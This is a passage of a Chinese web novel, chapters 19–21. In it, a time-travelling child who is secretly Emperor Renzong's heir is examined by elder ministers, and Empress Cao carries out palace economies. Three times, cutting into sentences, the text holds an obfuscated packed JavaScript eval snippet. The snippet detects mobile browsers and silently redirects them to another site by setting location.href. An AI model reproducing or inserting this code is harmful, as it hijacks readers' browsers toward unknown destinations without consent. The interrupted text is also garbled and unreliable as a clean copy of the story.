他转头看向和乐融融的皇家父子二人,答非所问:“我愧得慈爱之名。自暾儿出生,我一直在宋夏战场,前些时日才刚回京,没能好好照顾暾儿。” 张士逊嘴角下撇。 他转头恶狠狠地瞪着赵祯的后脑勺。 这个他看着长大的小皇帝,性格还是一如既往地执拗和荒唐,只要想一意孤行,谁都挡不住。 温和? 如今的皇帝和先帝一样,都是外表看着温和,骨子里都是一样的德性! 章得象也注视着赵祯,试图用眼神表达自己的反对意见。 赵祯感受到后脑勺的视线,不以为意。 他留下张士逊和章得象,就是没打算向他们隐瞒。 虽然他暂时不会让太子回宫,以免群臣强以祖训为由,要求太子回宫居住——宫里风水不好,太子必须在宫外住到成年。但朝中不能人人都不知道太子的身份,以免再让他养他人儿子为嗣子。 张士逊和章得象在群臣反对立大娘娘为后时一言不发,在大娘娘不肯还政时一言不发,在自己废后时一言不发,在自己故意给曹皇后没脸“生死两皇后”时也一言不发,那么他们知道自己把太子藏在宫外,也一定会守口如瓶。 且张士逊和章得象虽不喜卷入宫廷争斗,却都是清廉持正,在朝中有大声望的贤臣。张士逊已经致仕,章得象今年也请求致仕,他们正好教导太子。 赵祯虽然信任看重范仲淹,但太子的老师不能只有一人,只受一人影响。 赵祯抱累了孩子,重回龙榻半倚着。 他终于将曹暾放下,对张士逊和章得象图穷匕见:“暾儿颖悟绝伦,太傅和章卿可有见才心喜?” 张士逊:“……”喜肯定是喜的,皇帝有继承人,他当然喜。 章得象:“……”不仅我喜,满朝文武都会欢喜!陛下你为什么要把皇子藏起来啊?! 赵祯拍了拍曹暾的脑袋,笑容温和,但语气坚定,不容人拒绝:“既然你想早早入朝为官,章卿即将致仕,朕将在京中为章卿赐宅,你可多去请教。太傅更是德高望重,你要多拜访。” 曹暾看向张士逊和章得象。 两老臣都竭力露出了和蔼的微笑。 虽然陛下荒唐,但小皇子是无辜的。 皇后所生嫡长子,应该直接是太子吧?皇帝应该不会荒唐到不封小皇子为太子吧? 章得象在心里叹了口气,率先道:“我曾向你下帖,你可持帖随时来寻我请教询问。” 张士逊半躬着身体,弯腰看着曹暾,就像是视力不好的老人:“你年纪幼小就已经才华横溢,可已经拜得名师?名师为何人?可有著作?” 曹暾道:“我蒙师姓朱,乃是不出仕的闲散文人,曾为我先父的幕僚,在外没有文名。” 张士逊笑容不变,语气平稳:“他教得你很好,堪称名师了。” 章得象也保持着原本的表情,慈祥地颔首:“确实是名师。” 范、仲、淹!!!老夫杀你!!! 张士逊和章得象的演技已趋化境,曹暾半点没发现两人心中剧烈的波动。 他乖乖向两位朝中重臣作揖,诚惶诚恐地感谢他们给自己拜访请教的机会。 皇帝发话了,他不想去请教也不得不去了,不然就是轻视张士逊和章得象,会得罪他们。 那自己岂不是要被迫再和章惇和章楶见面,被迫与他们结交了? 唉。烦。 19.确实没什么 待曹暾休息了一会儿,继续被考。 这次考官变成张士逊和章得象。二老拿出了科举主考官的架势,方方面面探底曹暾的学识。 曹暾有自己已经在考童子科的既视感。 考就考呗,曹暾毫无保留地展现自己的才华,得到二位朝中宿老一致好评。 连曹暾的诗赋,二老都赞不绝口。 嗯,对于一个五岁孩童而言,能写出诗赋就不错了,还挑什么好坏?这世上大部分成年人写出的诗赋也难以下咽,曹暾的水平就是一个诗才普通的成年人的水平,很不错了。 就是那手字差了点,不过对比寻常五岁孩童,也算努力了。 曹暾听着二老的夸赞,报以礼貌的微笑。 是的哦,谢谢你们的夸赞了哦。 孩童集中注意力的时间总是很有限的,再早熟的孩童,脑子发育不够,也不能如成年人一样专注。 赵祯亲手带过三个儿子,即使那三个儿子都没长到五岁,他对孩童的习性也很了解。 半个时辰后,他便让张士逊和章得象停下来,亲自带着曹暾玩一会儿,才让张士逊和章得象继续考校。 曹暾十分配合,全程情绪稳定。 赵祯带他玩耍的时候,他会睁大水汪汪的眼睛,各种夸赞的话语连珠炮似的,样样都用大宋皇帝最喜欢但也最喜欢找黑点的唐太宗作比。 宋太/祖武功堪比唐太宗再世;宋太宗文治乃是唐太宗重生;宋真宗更是比唐太宗更胜一筹,因为唐太宗的功德都不够封禅,咱们先帝够本事封禅,澶渊之盟让宋辽从此无大战,而唐太宗可是被高丽欺负了;至于当朝皇帝本人,那也是唐太宗…… 赵祯连连摆手:“我不是我不是,我差得远。” 赵祯快被一连串的“唐太宗”给夸懵了,连“朕”的自称都用不下去了——虽然他平时说话也不带“朕”字,今天只是想在儿子面前摆摆威风。 曹暾板着小脸,严肃认真地强调:“陛下比唐太宗厉害!陛下之治,远过汉唐!上能和唐虞并列,下能碾压商周!” 赵祯忍无可忍,一只手按住了曹暾的脑袋,阻止他继续胡言乱语。 张士逊和章得象都往曹琮身上丢眼刀子。 小孩子懂什么?小皇子学的这些话,肯定是曹琮教他的! 曹琮百口莫辩。 他总算知道暾儿让他放心,是放什么心了。 是的,暾儿,你真的很会演。但你演太过了!再演下去,你叔祖父我都要变成奸佞了! 曹佑悄悄缩了缩脖子。 还好上面有叔祖父顶着,这次不用自己背锅。 唉,他第一次看见暾儿的眼睛睁那么大。暾儿的眼睛不酸吗? 赵祯刚开始还被曹暾夸得开心,现在满脸赤红,心里尴尬无可复加。 他忍不住又把儿子抱起来,拍了拍儿子的小屁股:“谁教你的?曹琮?” 被直呼姓名的曹琮不敢说话。 曹暾摇头:“不是,是民间文人都这么夸陛下。” 谁夸的?宋神宗、宋哲宗时旧党起头,南宋文人们集体臆想呗。他们给北宋编造了个远超贞观之治的嘉祐之治。 “嘉祐之治”的出现只是为了让皇帝“不改祖法”的政治目的。不过宋哲宗和后来的宋徽宗都没听。 宋高宗为证明大宋皇帝没错,便把锅推给新党,“嘉祐之治”在南宋叫得特别响亮,以表示祖宗是好的,新党是坏的。旧党集体追谥加封也是南宋。 不过宋朝一灭,就很少人提“嘉祐之治”了。每当提起来的时候,宋仁宗和他的宰辅们都会风评受害。 那真的是风评受害——其实宋仁宗和他的宰辅们都很有自知之明,多次拒绝下面的人说现在是治世的谄媚。 宋仁宗曾自言内忧外患,经常加税赋,但花销仍旧不够用;欧阳修曾骂谄媚的人“四海骚然,万物失所,实未见太平之象”;韩琦感慨“朝廷之将危,宗社之未安”;就连后来极力描绘“嘉祐之治”的二苏兄弟在宋仁宗在位时上疏,所言也皆是民生困苦,苏辙更是直言辱骂宋仁宗“无事不忧,有事大惧”,而且极其好色…… 所以宋仁宗在位的时候,从上到下都知道他们面临的是内忧外患的大危机,一不小心就会步入亡国深渊,才有那么多士大夫悍不畏死意图变法。 古今变法者罕有善终者,士大夫们又不是吃饱了撑着自找死路,若不是忧惧国之将亡,谁会将生死置之度外? 宋仁宗一死,这些人口风一转,就把宋仁宗塑成“不改祖宗之法”的泥塑供庙里,变成活圣人了。 至于宋仁宗自己也是个搞变法的,还破格提拔狄青,大致上算个主战派的事,歌颂宋仁宗的人都假装不知道了。 赵祯真是哭笑不得:“暾儿,别听那些人的谄媚。” 他顿了顿,叹息道:“贞观之治,一石粟不过40文,而今千文不止。大宋的治世,远不可及啊。” 曹暾环着赵祯的脖子。赵祯静静地与他对视。 “强我懿号,不若使我为有道之君;加我虚尊,不若处我于无过之地。”赵祯摸了摸曹暾的脑袋,“这是唐德宗所言。暾儿,你要记住。” 曹暾点头:“我记住了。他们都是谄媚之语,我不该学。” 赵祯微笑赞许。 大概是被曹暾塞了一大堆“唐太宗”进脑子,赵祯和张士逊、章得象都没了继续考校曹暾的心思。 他们甚至连留在金明池用晚膳的心思都没了。 用什么晚膳啊,赶紧回宫继续琢磨赈灾的事!今年京城附近的春耕肯定指望不了春雨了,收成绝对好不了,要提前谋划啊。 赵祯想了想自己的私库。唉,虽然舍不得,这次还是继续从私库拨钱吧,国库是真的一分钱也没有了。 回去就和皇后说说,看看怎么再砍砍宫里开支。他自己的开支也要砍一砍,等下一笔钱入库时,每天花销不能超过一千贯。 曹暾便也没能蹭到御膳。 他还挺好奇宋朝皇帝吃什么,以为能蹭上一口呢。 虽然宋仁宗出了名的节俭,但皇帝的节俭和普通人不是一回事。宋太祖为制止后代奢靡,定下了御膳不准四方进贡的要求,御膳只能用羊肉做。宫里若想吃点别的,一般是从市井购买,或者向臣子索要食材。 宋仁宗节俭,一日也要宰杀二百八十多只羊。其中尤其以已经被西夏占据的后世甘肃所出小羊羔最为可口,朝廷每年都要花高价去购买。 也就是说,宋仁宗吃的是滩羊。 曹暾穿越前,每年冬至家里都会网购冰鲜滩羊肉做汤锅,觉得味道就那样。穿越之后他再想吃滩羊肉,要么做大贪官,要么就只能蹭皇帝赏赐。 唉,他还以为今天能吃上呢。馋。 皇帝都不逛园子了,曹暾便也要离开——虽然皇帝说让曹暾继续玩,但为了不给皇帝和公卿留下贪玩的印象,再加上曹暾被考校了这么久,精力不济,便被曹佑抱回家了。 曹琮得留在皇帝身边。他是禁军头子,要安排禁卫保护皇帝回宫。 这一日踏青,曹暾没滋没味地过完了。 热闹的龙舟竞赛没看几眼,歌舞演出也没机会观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598429|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。即使在被皇帝带着“玩”,皇帝也是指着一大堆东西忆苦思甜,告诉他赵家祖宗如何如何,听得曹暾脑袋里全是浆糊,好不容易才忍住瞌睡。 还不如被老宰辅考校好玩呢。 一上马车,曹暾就钻进曹佑怀里嘀嘀咕咕。 曹佑拍了拍小侄儿的脑袋,将忧虑藏在心底。 他与曹暾同被皇帝唤来伴驾,按照常理,他和曹暾都会被考校。今日他却全程坐冷板凳,皇帝几乎忘记了他。 曹佑的忧虑不是因为皇帝的冷待,而是皇帝如此重视曹暾很不符合常理。 即使皇帝喜爱神童,但大宋的神童还少吗? 若说皇帝喜爱的是曹家的神童,那就更不可能。要是皇帝想亲近曹家,早就亲近了。 皇帝居然一直抱着暾儿不松手,让暾儿向宰辅请教学问,自言是暾儿亲近的长辈……种种怪异,如此反常,让曹佑难以不多想。 “小叔叔,你也看出来,皇帝对我态度很奇怪了吧?”曹暾抱怨完今日的无聊后,压低声音道。 曹佑揉了揉曹暾的脑袋。 曹暾道:“别焦虑了,焦虑来焦虑去,只要他们想瞒着我们,我们也打探不到消息。反正皇帝是对我好得很奇怪,不是对我差得很奇怪,我们就不用多思,享受就成。” 曹佑叹气:“暾儿,你心真大。” 曹暾打着哈欠道:“愁也没用,愁什么呢。最可怕的情况也就是我可能是皇帝养在曹家的皇子。” 曹佑身体一僵。 曹暾又道:“但我如果是皇子,那肯定是姑母生的。你信皇帝和姑母会生一个孩子?” 曹佑想了想,自觉无法想象这么可怕的画面,忙摇头。 曹暾抱着手臂,重重点头:“我也不信。不过最差的可能就是这个了,所以什么都无所谓啦。” 他既不能穿越回去,又不敢自寻死路,苟活一世而已,反正皇帝是对他好,又不是对他差,好事啦。 曹佑稳住心神,道:“如果你的身份真有问题,叔父和阿姐肯定知情。” 曹暾点头:“突然冒出来的朱夫子肯定也知情。就是不知道二叔父知不知情。既然长辈大多知情,那就无所谓,该怎么过就怎么过。” 曹佑揉了两把怀里打哈欠的小侄儿:“你是不是太平静了?” 曹暾睡眼惺忪:“嗯,因为没什么大不了啊。” 曹佑捏了捏曹暾的脸:“你要真是皇子,也不是大不了的事?” 曹暾嘀嘀咕咕:“那也没什么大不了。” 他是皇子也不一定能活到当皇帝,当皇帝也救不了根子上就没长好的大宋,也就是再差不会比宋徽宗差,再好就只是个活得长一点的宋哲宗,哦,还不一定活得长,那仍旧摆呗。确实没什么大不了。 曹暾嘀咕完,便窝在曹佑怀里睡着了,留曹佑一个人在那眉头紧拧。 他以前怀疑曹暾和他一样有宿慧,但曹暾直到现在还写不好字,那肯定就不是了。 可曹暾这性格……五岁的孩童会有这么淡然?这都不能叫淡然,叫身具佛性,快一切皆空了吧? 难道暾儿不是有宿慧,而是天上哪个佛祖菩萨罗汉下凡渡红尘劫? 曹佑越想越离谱,偏偏他自己就是个有宿慧的,那离谱的事好像又不是很离谱。 他重重叹了口气,捏了捏眉心。 回家后假装什么都没发现吧。如果暾儿的身份真的有问题,等自己再长大些,叔父认为自己值得信任时,一定会告诉自己的。 多想无益,于是曹佑便摒弃杂思,真不再多想了。 20.真是亲父子 赵祯回宫,立刻召来曹皇后商议削减宫中用度之事。 曹皇后疾步前来,步履匆忙,眼含喜色。 见殿中只赵祯和章得象、张士逊二人,曹皇后眼底的喜色缓缓淡去,一双点漆般的美目又失了神采,如两颗黑玻璃珠子般死板僵硬。 赵祯微微侧过视线,假装没看到曹皇后眼底的希望和失望,提起正事。 帝后一问一答,先算了一遍目前宫中开支。 赵祯虽节俭,但也好色。章献太后在世时对赵祯管得极严,赵祯弱冠还宿在她宫中。待章献太后明道二年(1033年)去世,赵祯在景祐元年(1034年)便因流连后宫宴饮无度得了重病。 待病愈后,赵祯虽有所收敛,但宫内女子仍旧繁多。宋太/祖在位时宫女子总共不超过三百人,赵祯在宝元二年(1039年)为节省宫廷开支放出宫的女子,便有二百七十人。 曹皇后属意再放出一批宫女,赵祯想来想去,前几年刚放过,心里还是舍不得,便否了曹皇后的提议,只削减宫中花销。 赵祯率先削减自己的花销,每日饮食不可超过一千贯。 曹皇后紧接着削减自己的花销,直接将中宫内用减半。 而后他们商议其他妃嫔花销,从份位从上到下依次往下捋,一个一个敲定削减额度。 到了张美人时,赵祯顿了顿,道:“幼悟正病着,张娘子花销不削减。” 赵幼悟乃赵祯第八女。除养在曹家的曹暾外,赵祯三子八女中唯有皇长女福康公主,和年仅一岁的皇八女赵幼悟活着。 但曹皇后知道,皇帝不削减张美人花销,不是因为慈父心肠。 皇子皇女都有自己的份例。福康公主的份例比照皇子份例另取,皇八女赵幼悟更是远高于福康公主。 赵幼悟出生时正值庆历和议,宋夏战争刚打完,又要给西夏人送钱,公私库都捉襟见肘时。但皇帝都从左藏库取来绫罗八千匹为皇八女私用。之后每日俱用,连赵祯养在自己身边的皇子都不能比。其原因,仅是皇帝极其宠爱张美人,爱屋及乌罢了。 削减张美人花销并不会削减皇八女花销。皇帝没有削减福康公主的花销,不也削减了福康公主生母苗昭容的花销? 张美人额外不同,仅又是因为皇帝极为宠爱她罢了。 张美人一应花销本就皆等同贵妃,只差贵妃之实。曹皇后宫中俱用减半,饮食便比张美人差了。 此举会让曹皇后很是没脸,但曹皇后早就习惯,这次也习惯地应了。 曹皇后应后,赵祯自己又觉得有些不妥。 宫中皆削减花销,若张美人不削减,恐怕有碍名声。 赵祯便道:“也给张娘子削减一点……一成……半成吧。” 张美人宫中花销削减半成后依然比曹皇后多,但曹皇后仍旧迅速应下:“是。” 赵祯想着张美人照顾女儿的操劳,终究于心不忍,又道:“张娘子很喜欢前日里广州进贡来的珍珠。你去库房找找,全部赐予她,宽慰她的心。” 曹皇后再次应下。 赵祯又道:“还有江西进贡的金桔,她爱吃这个,都送过去。” 曹皇后一一应下。 赵祯想,张美人应该不会难过了吧。 想到心尖尖上的爱人,赵祯眉间因朝政生出的沟壑被一抹柔情抹平,面容都年轻了不少。 柔情涌上心头,赵祯便让曹皇后为其他几位较为上心的妃嫔和生育过子女的妃嫔,都送了几匹绸缎去,以示安抚。 这次曹皇后提出了建议,给宫里所有有份位和承宠过的宫人都送绸缎,皇帝喜欢的几位额外增加十匹。 赵祯同意。 后宫的事商议完后,赵祯就让听了他和曹皇后商议内容的章得象为他拟旨。 章得象悄悄瞥了曹皇后一眼。 广州进贡的珍珠和江西进贡的金桔都是稀罕物,陛下说全送给张美人,就是说曹皇后也一样未得? 他都有点怀疑,太子是不是曹皇后所生了。或许太子是其他身份低微的妃嫔所生,只是因为曹皇后贤惠,曹琮忠诚,所以才送到曹家养育? 比起章得象的胡乱猜测,张士逊身为两朝重臣,在宋真宗朝时比章得象官位高,不会有误会。 生育了太子又如何?章懿皇后的凄苦少了吗? 张士逊怀疑,如果曹皇后不是皇后,恐怕就会步章懿皇后后尘。曹家是开国勋贵又如何?如今哪个将门还敢造反不成?何况曹家除了曹琮,族中无一人身居高位。曹琮已老,又能奈何? 皇帝在后宫之事上与先帝一样荒唐,与先帝不愧是亲生父子。 张士逊一想到先帝,对皇帝因为惧怕宫里风水有问题就把太子藏起来一事,都认为可以接受了。 至少太子的生母没被皇帝弄成姓张的,皇帝比起先帝还是更贤明。 正事说完,赵祯便让曹皇后离开。 曹皇后踌躇了一会儿,看了一眼坐在角落里的曹琮,对赵祯道:“陛下,臣妾前日织了几匹布,可以由叔父带给佑儿吗?” 刚刚还满眼柔情的赵祯脸色一沉,一言不发地看着曹皇后。 曹皇后盈盈下拜,神情恳切:“只是臣妾自己织的布……” 赵祯冷声道:“你可从私库赏赐锦缎。” 曹皇后嘴唇抖了抖,最终只是又拜了一下,回了个“是”,便离开了。 待曹皇后离开后,赵祯看向曹琮。 曹琮立刻跪下叩首,不敢抬头。 赵祯抚在椅背上的手指敲了一下,两下,三下,才开口柔和道:“曹卿请起,朕知你有好好照顾皇后的三弟。皇后多虑了。” “谢陛下。”曹琮又磕了一个头,才站起来,但不敢就座。 直到赵祯再次开口让他坐下时,他才诚惶诚恐地坐下。 赵祯道:“皇后私自赏赐后族,被台谏官得知,恐怕会对皇后名声有害。你要多劝说。若皇后怜惜幼弟,你来告诉朕,朕会赏赐。” 曹琮忙道“不敢”,保证一定会好好对待曹佑,让皇后安心。 赵祯满意地颔首,又对章得象和张士逊道:“皇后的幼弟曹佑乃是一员大才,朕很喜欢。若章卿和太师得空,请多指点他一二。” 章得象和张士逊忙应下,背后冷汗浸湿衣襟。 如赵祯所想,两位老臣猜到了曹暾是他的儿子,但没有一人敢发问。 皇帝自己不说,臣子私自猜测别人的儿子是皇子,就是重罪。他们一个已经致仕,一个即将致仕,为保善终,绝对不会冒险。 至于范仲淹,赵祯有其他理由阻止他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598430|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公布太子身份。 赵祯知道在范仲淹心中,大宋设江山社稷为重中之重。他只要说暾儿在宫外才能平安长大,范仲淹就不会违背他的意愿。 他也给了范仲淹足够的信任,同意范仲淹将太子身份告诉能保守秘密的人。 以赵祯对范仲淹的了解,范仲淹只会告知韩琦和富弼二人而已。韩琦已经知道太子身份。富弼早已经离京,为免秘密泄露,范仲淹不会在书信中告知富弼太子的事。 等赵暾过了童子试,出现在朝臣视线中,赵祯才会渐渐增加知道赵暾身份的人,让赵暾的身份成为公开的秘密。 除了担忧赵暾的安全,赵祯还很好奇,如果一个皇子不知道他的身份,会不会比他视野更宽阔,更知道如何决断。 赵祯很清楚自己的问题。他不知道对错,许多事都只能先试一遍,让贤人都当一遍宰辅,看谁更适合。 这是他依照自己的能力做出的决策,但…… 赵祯又想起章献太后。 章献太后是先有决策再选贤臣。她永远知道自己想要什么,该做什么,从来不动摇。 章献太后曾教导他,不能朝令夕改,会令吏无适守,民无适从。 可大娘娘啊,若不知道对错,我又做何决断?我只能一一尝试。 赵祯想到死死压制住他的章献太后,心情复杂。 这时,曹皇后那张表情永远没有破绽的脸浮现在他心头,与章献太后重叠。 一个人受尽屈辱还能毫不动摇,仍旧将宫务处理得井井有条,滴水不漏,让他寻不到任何错误…… 曹儛啊,绝不能让她与暾儿亲近。 赵祯收起动荡的心神,转移话题,提起赈灾之事。 章得象和张士逊纷纷献策,曹琮也以禁军马帅的身份,适时地提出建议。 …… 回到坤宁殿,曹皇后屏退下人,如虚脱般坐在榻上。 喘了几口气,她往后一倒,合衣仰躺在床榻上,满头珠翠散落一榻。 “见陛下反应,章公和太师应当确信暾儿为我之子了。”曹儛曲起双臂,遮住扑了厚厚蜜粉,仿佛给木雕上了漆的脸。 只那上翘的嘴角,没能被手臂遮住。 半晌,她放下双臂,撑坐起身,唤来宫人补妆。 一层一层,一层一层,把不小心掉了的粉全部补上,一丝缝隙也不能有。 宫城之外。 曹暾回家睡了一觉,已经醒来。 他换好衣服,跳到地上,左转转,右转转,伸长胳膊又弯弯腰。 好了,伸展运动做完。 曹暾放声大喊:“小叔叔!你在哪里!说好的教我习武!不准食言!” 因担忧曹暾的身份有问题而准备食言的曹佑身体一僵,然后转身飞速逃跑。 曹暾抡圆了腿在后面追:“站住!” 曹佑手里还端着拿给曹暾吃的蜜饯。他一边跑一边护着碗里的蜜饯道:“明日,明日再说!” 曹暾可不惯着小叔叔的拖延症:“明日复明日,明日何其多!朱夫子!朱夫子!小叔叔骗小孩!他不是好人!” 范仲淹从书房的窗户探出半个身体:“曹佑!别教坏小郎君!” 正怀疑朱夫子真实身份的曹佑:“……”他心里苦,不敢说。 21.寻常后宫景 曹佑家世贫穷,启蒙后家里就无法供他继续钻研儒学经典,《左氏春秋》和孙吴兵书都是他自学的。因他天生神力,为让他将来更加顺畅,能以武力寻个官吏的铁饭碗,外祖母先送他去名为陈广的武师处学枪,又求了乡豪周同教他射箭。还未弱冠时,他在县里已经难寻敌手。 多年的军旅生涯,让曹佑什么兵器都会用,但长/枪和强弓仍旧是他最为擅长的兵器。 去了江南,曹暾身边只有曹佑一个长辈,曹佑便能做得了照顾曹暾的主。曹佑见曹暾体弱,早早就教了曹暾一些呼吸吐纳的养气功夫,每日带着曹暾锻炼。曹暾才能摆脱药罐子的处境。 那时曹暾就很馋小叔叔耍枪的帅气模样,吵着要学枪。 曹佑心想曹家子弟哪怕科举入仕,也有极大可能会被派往边疆,曹暾有必要学一门武艺。他便承诺曹暾,待曹暾五岁之后,就可以教他打熬筋骨,渐渐把长枪/和弓箭学起来。 孩童学武不宜过早,会伤了身体。五岁打基础,七八岁学套路,到了十一二岁,武艺就能用于实战了。 平时说话走路都慢吞吞的曹暾,敏捷地抓住了被朱夫子吓了一跳的曹佑:“小叔叔,拉了钩的!” 曹佑无奈:“练武很苦。” 如果暾儿是皇子,继续练习养生的功夫就成,习什么武?伤到了怎么办? 大宋皇帝就算被迫御驾亲征,也只是坐镇后方,不会上前线。暾儿习武也无用武之地啊。 曹暾叉腰:“我像是不能吃苦的人吗?我曹家世代出名将,我怎能堕曹家家风!” 曹佑被曹暾的话噎住。他清晰地看出,曹暾双眼中透露出的戏谑狡黠。 曹暾以前总说“曹家又如何?家风又如何?我曹暾就是不想当忠于赵宋的冤大头,平生唯愿尸位素餐”,现在这满口的“我曹家世代出名将”,就是在逗他玩吧? 范仲淹从书房走出来,背着手频频点头:“郎君有继承先祖之志,很好。” 曹佑在心里道,朱夫子你说的先祖之志指的哪个先祖? 他叹了口气,道:“习武真的很累,恐怕会耽误暾儿读书。” 范仲淹道:“郎君过目不忘,不会耽误。” 童子科只需要通晓儒经即可,曹暾只差把字写端正,就肯定能入上等。在范仲淹看来,太子不需要苦苦钻研儒经,应该拓宽见解,知道何人有能力,善于用人纳谏即可。 以曹暾过目不忘的能力,这些很容易达到。范仲淹更担忧曹暾的身体。 身为皇帝唯一活着的儿子,曹暾最重要的是健康地活下去。习武很好。 范仲淹想,用习武打熬意志,将来太子或许不会和陛下与先帝一样,轻易被美色所惑,伤了身体。 曹佑想拖到叔父回来。或许叔父溺爱暾儿,不会同意暾儿习武。 但曹暾威胁他:“小叔叔,你不教我,我就自己胡乱练。到时候如果我练出了岔子,都是你的错。” 范仲淹忍俊不禁。 曹佑看了一眼失笑的朱夫子。暾儿调皮,你还笑?有你这么当夫子的吗? 曹暾的威胁确实很“可怕”。曹佑只能无奈同意。 他决定严格地教导曹暾,待曹暾受不住求饶,他就能顺势不再教曹暾习武,转而继续教曹暾养生的功夫。 曹佑板着脸道:“无论何种武艺,最基础的都是稳固下盘。你如果想要习武,从今日开始扎马步。” 曹暾收起坏笑,板着小脸严肃道:“好。” 曹佑寻了处树荫,教曹暾扎马步。 他拿着一把蒲扇,曹暾动作变形,他就用蒲扇拍打曹暾变形的地方。平时,他便拿着蒲扇帮曹暾驱赶蚊虫。 范仲淹见着有趣,搬了一张竹椅过来。曹暾扎马步的时候,他给曹暾读史。 这下习武读书两不误,曹佑更没借口不教曹暾习武。 曹佑叹了口气,道:“再站一炷香就休息。” 曹暾已经满头细汗,两只小短腿都在微微颤抖,语气仍旧倔强,丝毫不肯服输:“嗯。” 漂亮的耍枪我必要学会! …… 曹皇后补好妆后,就唤来宫中宦官女官安排工作。 曹皇后不受宠,宫里许多宦官女官本会轻视曹皇后,常不尊重曹皇后。平时曹皇后很好说话,但如果耽误了她工作,她便会去寻皇帝,将困境如实告知,请皇帝帮忙。皇帝在私情之外很支持皇后的工作,于是曹皇后在做正事时便无人敢懈怠了。 一连串的工作吩咐下去,宫人们如流水般进进出出,很快就将要赏赐的物品准备妥当。 曹皇后不分妃嫔份位贵贱,亲自去送绸缎,亲口述说皇帝的要求。即使是承宠但没有份位的宫女,曹皇后也没有轻忽。 因宋太/祖没想到会一直住在汴梁城,东京城皇宫是由节度使府改建而来,特别狭小,宫殿数量很少。后宫之中,除了帝后和太后独居一宫,妃嫔和太妃都住的是集体宿舍。 妃嫔和承宠过的宫女都住在集圣殿。集圣殿中盖了许多单层平房,称“直舍”,“贵妃、昭仪、婕妤等位宫人直舍蚁居焉”。份位高的妃嫔能分得一间单独的小屋,份位低和没有份位的宫女就挤在一间平房内。曹皇后一一探访妃嫔并不劳累。 身份特殊的妃嫔,曹皇后还从自己份例取出花色艳丽的绸缎,以皇后的名义额外赏赐和安抚。 苗昭容为景祐五年入宫,生育并养活了福康公主,赏赐加一等,要最先去; 俞婕妤虽已无宠,但她景祐三年便入了宫,生育过公主,需要安抚; 朱美人和原武郡君杨氏生育过儿女,需要安抚,朱美人生育的是皇子,赏赐加一等; 冯郡君本来十分得宠,但因多次拒绝皇帝为她升份位的请求惹恼了皇帝,恩宠渐淡,伺候的宫人逐渐懈怠,安抚之余需要敲打宫人。 曹皇后送来赏赐后,安抚始平郡君冯氏,只会象征性地削减冯氏一点不会影响冯氏生活的份例,让冯氏保重身体,将来争取再为陛下诞下皇嗣。 冯氏手中捻着佛珠,笑容寡淡缥缈,一身素服:“谢皇后照顾。” 曹皇后看着冯氏的模样,叹了口气:“隋国公主即将发引下葬,你要保重身体,才能去送她。” 冯氏捻着佛珠的手一顿,垂下头,强忍的眼泪落下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602849|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹皇后拿起帕子为冯氏拭去眼泪:“节哀,保重身体最为重要。” 冯氏重重点头,放下佛珠,双手轻轻握住皇后为她擦拭眼泪的手,久久不松手。 曹皇后由着她,没有抽出手。 皇帝宠爱的张美人出自乐坊仙韶部。为了脸面,皇帝试图抹掉张美人乐坊女的出身,称张美人祖辈曾为官,是良家女,所以他才对张美人另眼相待。 其实如俞婕妤、苗昭容等入宫便为御侍的宫女子,才真的是直接由官女子选入宫的良家女。冯氏也是良家女,祖父冯起为户部侍郎致仕。 以冯氏的出身,若在宫外会活得很好。只是她少有美名,皇帝刚亲政,在娶了曹皇后的同时,便点了九岁的冯氏入宫伺候。 年幼没有来癸水的“准御侍”都要被妃嫔或年长女官收养教导。那时皇帝后宫中没有高位妃嫔,冯氏出身又高,虽没有被曹皇后认作养女,实则由曹皇后照顾。 年幼入宫的女子到了十五岁左右来了癸水就可以承宠。冯氏年龄比如今得宠的张美人还小两岁,十五岁承宠,已育有两女,也已连死两女。如今她不过十九岁,竟形容枯槁,半点瞧不出鲜活的模样。 今日得了好消息,曹皇后心情轻松,便多了几分同情心。 她时隔多年将冯氏揽在怀里,压低声音道:“我知你心里有怨,但有怨也不能亏待自己。我会在隋国公主葬礼时向陛下提议,升你份位。这次你断不可拒绝了。” 冯氏没想到谨慎的皇后居然会冒险安慰自己。 她愣了愣,回抱住仿若她养母的人,轻声哽咽道:“大娘娘,我怕再承宠,我怕……我怕又有孩子死去。我受不了,我真的受不了,呜呜呜……” 曹皇后身体一僵。 她心里苦涩蔓延,收紧手臂:“娘娘知道了,娘娘帮你。放心,有娘娘在,你不会吃苦。” 我们活下去,一起活下去,活到可以自由喘气的时候。 曹皇后离开时,刚才一切都似乎没发生过似的。她的神情已然端庄严肃,冯氏仍旧闭目为即将下葬的女儿念佛。 在登上辇车时,曹皇后回头看了一眼,眼神有一瞬恍惚,又很快如平日一般坚定到木然。 